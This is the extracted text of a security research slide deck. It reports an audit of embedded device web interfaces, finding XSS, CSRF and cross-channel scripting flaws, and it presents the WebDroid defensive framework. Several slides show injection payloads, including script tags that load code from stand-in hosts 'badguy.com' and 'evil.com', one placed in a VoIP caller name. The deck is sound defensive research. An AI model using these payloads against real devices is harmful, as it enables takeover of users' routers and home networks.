Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein
Embedded devices insecurity
Which devices are insecure?
devices?
Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein
devices?
devices?
devices?
devices?
Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein

devices?
Managing embedded devices via a web interface:

✓ Easier for users

✓ Cheaper for vendors
Web application spectrum

# users

Popular Internet web sites

Custom web applications

Security research

# of sites
Web application spectrum

Popular Internet web sites

Custom web applications

# users

# of sites

Security research

devices?

Consumer electronics
Network infrastructure

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein
Towards Secure Embedded Web Interfaces
http://ly.tl/p20
• Embedded web applications are everywhere
• 100M+ WiFi access points
• also in millions of switches, printers, consumer electronics

Source: skyhookwireless
Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein

Spectrum revisited

Popular web applications

Custom web applications

# of sites

Security research

# of sites

# users
Spectrum revisited

- Popular web applications
- Custom web applications

# users

Security research

# of sites
Devices as stepping stones
Devices as stepping stones

I Administer the device
Devices as stepping stones

1 Administer the device

2 Browse internet

Internet
Devices as stepping stones

1 Administer the device

2 Browse internet

3 Trigger POST (e.g. via Ads)
Devices as stepping stones

1. Browse internet

2. Trigger POST (e.g. via Ads)

3. Infect the device
Devices as stepping stones

5 access files
Devices as stepping stones

5 access files

6 Send malicious payload
Devices as stepping stones

1. Access files
2. Send malicious payload
3. Attack local network

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein
Towards Secure Embedded Web Interfaces
Devices as stepping stones

5 access files

6 Send malicious payload

7 Attack local network
Recipe for a disaster

Vendors build their **own** web applications

- Standard web server (sometimes)
- Custom web application stack
- Weak web security

New features/services added at a **fast pace**

- Vendors compete on the number of services
- Interactions between services ➽ vulnerabilities
Some vendors got it right...
You can set up your frame to view multimedia content feeds directly from the Web from sites such as those listed below. We've set up a few sample feeds to get you started. Click "Add..." to set up your own.

- flickr
- framechannel

<table>
<thead>
<tr>
<th>Name of feed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Interesting photos from Flickr</td>
</tr>
<tr>
<td>Flickr: Get More</td>
</tr>
<tr>
<td>My FrameChannel</td>
</tr>
<tr>
<td>FrameChannel: Weather</td>
</tr>
<tr>
<td>FrameChannel: Sports</td>
</tr>
<tr>
<td>FrameChannel: Finance</td>
</tr>
<tr>
<td>KODAK Gallery: Get More</td>
</tr>
<tr>
<td>Other: a&quot; asdf</td>
</tr>
<tr>
<td>Other: javascript:alert(&quot;Stanford Security Lab&quot;)</td>
</tr>
<tr>
<td>Other: <a href="http://www.asdf.com">www.asdf.com</a></td>
</tr>
</tbody>
</table>
... almost.

javascript:alert("Stanford Security Lab")
We found vulnerabilities in every device we audited.
Outline

• Embedded devices insecurity
• WebDroid a secure web framework for embedded devices
Audit
Audit methodology
Audit methodology
Audit methodology

Brands

Device types
Audit methodology

Brands

Device types

Vulnerability types

Audit methodology

Brands

Device types

Vulnerability types
Overall audit results
Overall audit results

- 8 categories of devices
Overall audit results

- 8 categories of devices
- 16 different brands
Overall audit results

- 8 categories of devices
- 16 different brands
- 30+ devices
Overall audit results

- 8 categories of devices
- 16 different brands
- 30+ devices
- 50+ vulnerabilities reported to CERT
Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein
## Devices audited by brand

<table>
<thead>
<tr>
<th>Brand</th>
<th>Camera</th>
<th>LOM</th>
<th>NAS</th>
<th>Phone</th>
<th>Photo Frame</th>
<th>Printer</th>
<th>Router</th>
<th>Switch</th>
</tr>
</thead>
<tbody>
<tr>
<td>Allied</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Buffalo</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Belkin</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>D-Link</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Dell</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>eStarling</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>HP</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>IBM</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Intel</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Kodak</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>LaCie</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Linksys</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Netgear</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>SMS networks</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Panasonic</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>QNAP</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Samsung</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SMC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>TrendNet</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>ZyXEL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
</tbody>
</table>
Vulnerabilities by device

<table>
<thead>
<tr>
<th>Type</th>
<th># Devices</th>
<th>XSS</th>
<th>CSRF</th>
<th>XCS</th>
<th>RXCS</th>
<th>File</th>
<th>Auth</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOM</td>
<td>3</td>
<td>■</td>
<td>■</td>
<td>■</td>
<td></td>
<td></td>
<td>■</td>
</tr>
<tr>
<td>NAS</td>
<td>5</td>
<td>■</td>
<td>■</td>
<td>■</td>
<td>■</td>
<td>■</td>
<td>■</td>
</tr>
<tr>
<td>Photo frame</td>
<td>3</td>
<td>■</td>
<td>■</td>
<td>■</td>
<td></td>
<td></td>
<td>■</td>
</tr>
<tr>
<td>Router</td>
<td>8</td>
<td>■</td>
<td>■</td>
<td></td>
<td></td>
<td></td>
<td>■</td>
</tr>
<tr>
<td>IP camera</td>
<td>3</td>
<td>■</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>■</td>
</tr>
<tr>
<td>IP phone</td>
<td>1</td>
<td>■</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Switch</td>
<td>4</td>
<td>■</td>
<td>■</td>
<td>■</td>
<td></td>
<td></td>
<td>■</td>
</tr>
<tr>
<td>Printer</td>
<td>1</td>
<td>■</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Toward a secure world?

WEP

[Image of a Wi-Fi router with a lock icon]
Towards a secure world?

WEP

WPA
Secret key are still stored via a web interface
Browser same origin policy (SOP)

http://evil.com

http://192.168.0.1 (router)
Browser same origin policy (SOP)

http://evil.com

Post

http://192.168.0.1 (router)
Browser same origin policy (SOP)

http://evil.com

Post

Read

http://192.168.0.1 (router)
Getting the key from a web page
Getting the key from a web page
Getting the key from a web page
Getting the key from a web page
Getting the key from a web page
Getting the key from a web page
Getting the key from a web page

192.168.2.1:1372

<img src="e.jpg"/>
Getting the key from a web page

<script src="http://badguy.com/script.js"></script>
Getting the key from a web page

<script src="http://badguy.com/script.js/"/>
Getting the key from a web page

SMC Networks

Setup Wizard
Home Network Settings
Security
Advanced Settings
- NAT
- Maintenance
- System
- UPnP
- DNS
- DDNS
- Routing

DDNS (Dynamic DNS) Settings
Dynamic DNS provides users on the Internet a method to tie their domain name(s) to computers or servers. DDNS allows your domain name to follow your IP address automatically by having your DNS records changed when your IP address changes.

<table>
<thead>
<tr>
<th>Dynamic DNS</th>
<th>Enable</th>
<th>Disable</th>
</tr>
</thead>
<tbody>
<tr>
<td>Provider</td>
<td>cyndns.org</td>
<td></td>
</tr>
<tr>
<td>Domain Name</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Account / E-mail</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Getting the key from a web page
Getting the key from a web page.
Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein
WPA Breaker demo
Netgear FS750T2

- Intelligent switch
- Configured via Web
CSRF illustrated
CSRF illustrated

I Administer the switch
CSRF illustrated

1. Administer the switch

2. Browse the web

Internet
CSRF illustrated

1. Administer the switch
2. Browse the web
3. Trigger POST (e.g., via Ads)
Towards Secure Embedded Web Interfaces

CSRF illustrated

1. Administer the switch
2. Browse the web
3. Trigger POST (e.g. via Ads)
4. Forward the bad post request

Internet
CSRF illustrated

1. Administer the switch
2. Browse the web
3. Trigger POST (e.g. via Ads)
4. Forward the bad post request
CSRF illustrated

1 Administer the switch

2 Browse the web

3 Trigger POST (e.g. via Ads)

4 Forward the bad post request
VoIP phone

- Linksys SPA942
- Web interface
- SIP support
- Call logs
I Attacker makes a call as

"<script src="/evil.com/"></script>"
I Attacker makes a call as
"<script src="//evil.com/"/></script>"

2 Administrator accesses web interface
1 Attacker makes a call as
"<script src="/evil.com"></script>"

2 Administrator accesses web interface

3 Payload executes
SOHO NAS

- Buffalo LS-CHL
- BitTorrent support!
Massive exploitation
Massive exploitation

Create a bad torrent

Famous_movie.torrent
Massive exploitation

Internet
Massive exploitation
Massive exploitation

takeover

Internet
Massive exploitation
Peer-to-peer XCS attack result
Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein
Embedded device usage model

- Mono user (almost)
- Performance are not critical
- Limited resources
- Clean slate
Embedded device usage model

- Mono user (almost)
- Performance are not critical
- Limited resources
- Clean slate

Lot of room to focus on security!
WebDroid big plan

- Create a framework integrated on android
- Focus on security not performance
- View the framework as a “firewall”
- Use android as a starting point (Java framework)
## Security mechanisms

<table>
<thead>
<tr>
<th>Category</th>
<th>Access control</th>
<th>Session</th>
<th>Direct attack</th>
<th>Browser attack</th>
</tr>
</thead>
<tbody>
<tr>
<td>Defense/Threat</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>HTTP only cookie</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Server side input filtering</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CSP</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>S-CSP</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CSRF random token</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Origin header verification</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>X-FRAME-OPTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>JS frame-busting code</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SSL</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>HSTS</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Secure cookie</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Parametrized queries</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>URL scanning</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Application-wide auth</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Password policy</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Anti brute-force</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Restrict network/location</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>DOS protection</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Security Mechanisms

- **Access control**
  - Bypass
  - Pass guess

- **Session**
  - MITM
  - Hijack

- **Direct attack**
  - XSS
  - SQLi
  - XCS
  - RXCS

- **Browser attack**
  - CSRF
  - Clickjack

**Table 1. Threats and corresponding security mechanisms**

- Server-side input filtering.
  - Even though filtering or whitelisting of user input can fail if implemented incorrectly, it is still very important to sanitize user data before web pages are rendered with it.

- CSP (Content Security Policy).
  - Pages rendered by the typical embedded web application have little need to contact external web sites, correspondingly our server is configured to offer restrictive 'SP directives to browsers, limiting the impact of any injected code in the page.

- S-CSP (Server-side Content Security Policy).
  - For browsers that do not support 'SP, we introduce Server-side 'SP. While rendering a particular site, the server looks at the 'SP directives present in the header of the policy and modifies the HTML code accordingly.

- X-FRAME-OPTION.
  - Clickjacking is a serious emerging threat which is best handled by preventing web site framing.

- JavaScript frame-busting.
  - Not all browsers support the X-Frame-Options header, and therefore our framework automatically includes frame-busting code in JavaScript.

- Random anti-CSRF token.
  - Cross-site request forgery is another web application attack which is easy to prevent, but often not addressed in embedded settings.

- Origin header verification.
  - With checking 'SRF tokens, we make sure that for requests that supply any parameters (either POST or GET) and include the Origin or Referer header, the origin/referer values are as expected.

- SSL.
  - Securing network communications often ends up being a low-priority item for application developers, and this is why our web server uses HTTPS exclusively by default, with a persistent self-signed certificate created during device initialization.
WebDroid in action
Benchmarks

Requests per second

Processing time
Towards Secure Embedded Web Interfaces

Baptiste Gourdin, Chinmay Soman, Hristo Bojinov, Elie Bursztein

Thanks you !
Questions?

Download WebDroid
http://ly.tl/webdroid

Follow-us on Twitter
@elie, @baptiste